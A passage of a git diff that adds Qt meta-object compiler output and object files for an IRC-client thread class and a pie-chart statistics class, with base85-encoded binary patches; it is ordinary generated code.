z_~9UbAMhi9_X0l>_~XEJAI@kq@S{Qg1>na3-wOO#;M;)fv4GJI;KzadF5t%l*KLmx zzw<{sU8junn8IPYteBq!^4bPQCj-w_*L*q!xE@~^X&Jh7^f<zN7|84Kg3)l`#p;?* zUjnZCe@1$Yqf1Bk^UO~LdEK8gIt}<jb<L;Kfj0oxc_9&}1^5V%Uk-dE@DAYo?r!Z? z1J`3NhxGtI6Xb6KJ{tI1;Aa6}2V9pq>t7E%1oFMWu|Iqqcmc?723`pK1>kya!0B!U zF5ij7l=@QO<3P_2;NyYs0$v1M40NQA(FEX`oCrBaAB!vbFGpQ7zX149;C~063w%59 zeBd$QLEuY(7Xg>=fRdmX_&H#I82JB|eqPV<*!0z4|Cb?OJ-|P&e*QerzaI3<cWOy+ zAMj$3?*(20{BhtDfo}#r3HS@ZOM!0%UIu&{@N(cgfbVZVKN<97s%t*k`uQ-(4+VK! zKR*TJ^FclrxbAZp+4}kOL0;Ddqp85PZH)BXo-RH8{4|iCr>^-l9r!}v``gdY06oh= z&%e5#uY`2hLb_GJ*8!gid_C}L;P(O7&puq9y})OK{Nup&nl{UC20j<$UjVM_g5|dY zzX0TS0LT7$7x1sL0`2&Lh8zbsiYxg~?+?x##~r;lJ#!p)hJqd(cXEN_xRVdONZH0I z2Z7thozGZMxg2$774tQuGmbm&0?$>~EdM_6eBg_K2Z7fC$8qOEu)i4O=K~J||KBq1 z{Qr8sSOMj{9?DIx6)?ha$M$^D0(x-V`QrIP-tQMd`#hL&=ZohHS)Tuj=ZpJP9q|eK zJse+Zv7Li_6gZAA*q^@u^4Oo__=5fUHju~u9LF8(&v$`5_UGC(4%VOHGRsr}%*AKo zYCOPxo_UATi~W3D#pP46x@NH&CCdo=Vb;^D^jC5qIh}5Y;`1aHT+1-(0KO3PuLjQg z_4|o?3{Ec(749bB*QjeevFc?2a@94Pr%V)N3~=?4m>@d8EUP|h5_|#3tEGHFT7Yw$ z9OYkW@SyT*`?Wolir;C-YrPwR>$+z20&uldEy&xz)l#(}nX1e=UFO;zJtt?bmY#)t z5ajimFbC*o3YJ$(+d^K~speXL0`#aQY$1OGaE`NH(B%36GxgDq2>B4?+m$SzhOi(x zKIMoj`R{1phXc<8uGh3V_)OqOf&4<?M+1)mKL+^S!1=OR+5H>fLqYyi;JEI6lxpuB p%!m8FB7^Jq4|N#4m~SR>_ZeKjPv|LwuT}B`2FQ3iUHyKb{|6tAPb2^U literal 0 HcmV?d00001 diff --git a/moc_oIRC_Th.cpp b/moc_oIRC_Th.cpp new file mode 100644 index 0000000..dd785a2 --- /dev/null +++ b/moc_oIRC_Th.cpp @@ -0,0 +1,330 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'oIRC_Th.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "oIRC_Th.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'oIRC_Th.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_oIRC_Th_t { + QByteArrayData data[15]; + char stringdata[194]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_oIRC_Th_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_oIRC_Th_t qt_meta_stringdata_oIRC_Th = { + { +QT_MOC_LITERAL(0, 0, 7), +QT_MOC_LITERAL(1, 8, 12), +QT_MOC_LITERAL(2, 21, 0), +QT_MOC_LITERAL(3, 22, 13), +QT_MOC_LITERAL(4, 36, 16), +QT_MOC_LITERAL(5, 53, 18), +QT_MOC_LITERAL(6, 72, 19), +QT_MOC_LITERAL(7, 92, 19), +QT_MOC_LITERAL(8, 112, 19), +QT_MOC_LITERAL(9, 132, 7), +QT_MOC_LITERAL(10, 140, 7), +QT_MOC_LITERAL(11, 148, 13), +QT_MOC_LITERAL(12, 162, 11), +QT_MOC_LITERAL(13, 174, 10), +QT_MOC_LITERAL(14, 185, 8) + }, + "oIRC_Th\0sUnhidePopup\0\0changeIRCData\0" + "changeRedIRCData\0changeGreenIRCData\0" + "changeYellowIRCData\0changeRawIRCDataInc\0" + "changeRawIRCDataOut\0setNick\0AddNick\0" + "ClearNickList\0IRCOfflined\0notifyPlay\0" + "getTopic" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_oIRC_Th[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 13, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 13, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 2, 79, 2, 0x06 /* Public */, + 3, 5, 84, 2, 0x06 /* Public */, + 4, 1, 95, 2, 0x06 /* Public */, + 5, 1, 98, 2, 0x06 /* Public */, + 6, 1, 101, 2, 0x06 /* Public */, + 7, 1, 104, 2, 0x06 /* Public */, + 8, 1, 107, 2, 0x06 /* Public */, + 9, 1, 110, 2, 0x06 /* Public */, + 10, 1, 113, 2, 0x06 /* Public */, + 11, 0, 116, 2, 0x06 /* Public */, + 12, 0, 117, 2, 0x06 /* Public */, + 13, 0, 118, 2, 0x06 /* Public */, + 14, 1, 119, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, QMetaType::QString, QMetaType::QString, 2, 2, + QMetaType::Void, QMetaType::Bool, QMetaType::Bool, QMetaType::Int, QMetaType::QString, QMetaType::QString, 2, 2, 2, 2, 2, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, QMetaType::QString, 2, + + 0 // eod +}; + +void oIRC_Th::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + oIRC_Th *_t = static_cast<oIRC_Th *>(_o); + switch (_id) { + case 0: _t->sUnhidePopup((*reinterpret_cast< QString(*)>(_a[1])),(*reinterpret_cast< QString(*)>(_a[2]))); break; + case 1: _t->changeIRCData((*reinterpret_cast< bool(*)>(_a[1])),(*reinterpret_cast< bool(*)>(_a[2])),(*reinterpret_cast< int(*)>(_a[3])),(*reinterpret_cast< QString(*)>(_a[4])),(*reinterpret_cast< QString(*)>(_a[5]))); break; + case 2: _t->changeRedIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 3: _t->changeGreenIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 4: _t->changeYellowIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 5: _t->changeRawIRCDataInc((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 6: _t->changeRawIRCDataOut((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 7: _t->setNick((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 8: _t->AddNick((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 9: _t->ClearNickList(); break; + case 10: _t->IRCOfflined(); break; + case 11: _t->notifyPlay(); break; + case 12: _t->getTopic((*reinterpret_cast< QString(*)>(_a[1]))); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (oIRC_Th::*_t)(QString , QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::sUnhidePopup)) { + *result = 0; + } + } + { + typedef void (oIRC_Th::*_t)(bool , bool , int , QString , QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::changeIRCData)) { + *result = 1; + } + } + { + typedef void (oIRC_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::changeRedIRCData)) { + *result = 2; + } + } + { + typedef void (oIRC_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::changeGreenIRCData)) { + *result = 3; + } + } + { + typedef void (oIRC_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::changeYellowIRCData)) { + *result = 4; + } + } + { + typedef void (oIRC_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::changeRawIRCDataInc)) { + *result = 5; + } + } + { + typedef void (oIRC_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::changeRawIRCDataOut)) { + *result = 6; + } + } + { + typedef void (oIRC_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::setNick)) { + *result = 7; + } + } + { + typedef void (oIRC_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::AddNick)) { + *result = 8; + } + } + { + typedef void (oIRC_Th::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::ClearNickList)) { + *result = 9; + } + } + { + typedef void (oIRC_Th::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::IRCOfflined)) { + *result = 10; + } + } + { + typedef void (oIRC_Th::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::notifyPlay)) { + *result = 11; + } + } + { + typedef void (oIRC_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::getTopic)) { + *result = 12; + } + } + } +} + +const QMetaObject oIRC_Th::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_oIRC_Th.data, + qt_meta_data_oIRC_Th, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *oIRC_Th::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *oIRC_Th::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_oIRC_Th.stringdata)) + return static_cast<void*>(const_cast< oIRC_Th*>(this)); + return QThread::qt_metacast(_clname); +} + +int oIRC_Th::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 13) + qt_static_metacall(this, _c, _id, _a); + _id -= 13; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 13) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 13; + } + return _id; +} + +// SIGNAL 0 +void oIRC_Th::sUnhidePopup(QString _t1, QString _t2) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)), const_cast<void*>(reinterpret_cast<const void*>(&_t2)) }; + QMetaObject::activate(this, &staticMetaObject, 0, _a); +} + +// SIGNAL 1 +void oIRC_Th::changeIRCData(bool _t1, bool _t2, int _t3, QString _t4, QString _t5) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)), const_cast<void*>(reinterpret_cast<const void*>(&_t2)), const_cast<void*>(reinterpret_cast<const void*>(&_t3)), const_cast<void*>(reinterpret_cast<const void*>(&_t4)), const_cast<void*>(reinterpret_cast<const void*>(&_t5)) }; + QMetaObject::activate(this, &staticMetaObject, 1, _a); +} + +// SIGNAL 2 +void oIRC_Th::changeRedIRCData(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 2, _a); +} + +// SIGNAL 3 +void oIRC_Th::changeGreenIRCData(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 3, _a); +} + +// SIGNAL 4 +void oIRC_Th::changeYellowIRCData(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 4, _a); +} + +// SIGNAL 5 +void oIRC_Th::changeRawIRCDataInc(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 5, _a); +} + +// SIGNAL 6 +void oIRC_Th::changeRawIRCDataOut(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 6, _a); +} + +// SIGNAL 7 +void oIRC_Th::setNick(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 7, _a); +} + +// SIGNAL 8 +void oIRC_Th::AddNick(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 8, _a); +} + +// SIGNAL 9 +void oIRC_Th::ClearNickList() +{ + QMetaObject::activate(this, &staticMetaObject, 9, 0); +} + +// SIGNAL 10 +void oIRC_Th::IRCOfflined() +{ + QMetaObject::activate(this, &staticMetaObject, 10, 0); +} + +// SIGNAL 11 +void oIRC_Th::notifyPlay() +{ + QMetaObject::activate(this, &staticMetaObject, 11, 0); +} + +// SIGNAL 12 +void oIRC_Th::getTopic(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 12, _a); +} +QT_END_MOC_NAMESPACE diff --git a/moc_oIRC_Th.o b/moc_oIRC_Th.o new file mode 100644 index 0000000000000000000000000000000000000000..3d593bd06f91657149aee27d8de1c4facb87c5eb GIT binary patch literal 17152 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 literal 0 HcmV?d00001 diff --git a/moc_piestat.cpp b/moc_piestat.cpp new file mode 100644 index 0000000..5d88358 --- /dev/null +++ b/moc_piestat.cpp @@ -0,0 +1,124 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'piestat.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "piestat.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'piestat.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_PieStat_t { + QByteArrayData data[3]; + char stringdata[20]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_PieStat_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_PieStat_t qt_meta_stringdata_PieStat = { + { +QT_MOC_LITERAL(0, 0, 7), +QT_MOC_LITERAL(1, 8, 10), +QT_MOC_LITERAL(2, 19, 0) + }, + "PieStat\0sUpdatePie\0" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_PieStat[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 1, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 1, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 0, 19, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, + + 0 // eod +}; + +void PieStat::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + PieStat *_t = static_cast<PieStat *>(_o); + switch (_id) { + case 0: _t->sUpdatePie(); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (PieStat::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&PieStat::sUpdatePie)) { + *result = 0; + } + } + } + Q_UNUSED(_a); +} + +const QMetaObject PieStat::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_PieStat.data, + qt_meta_data_PieStat, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *PieStat::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : 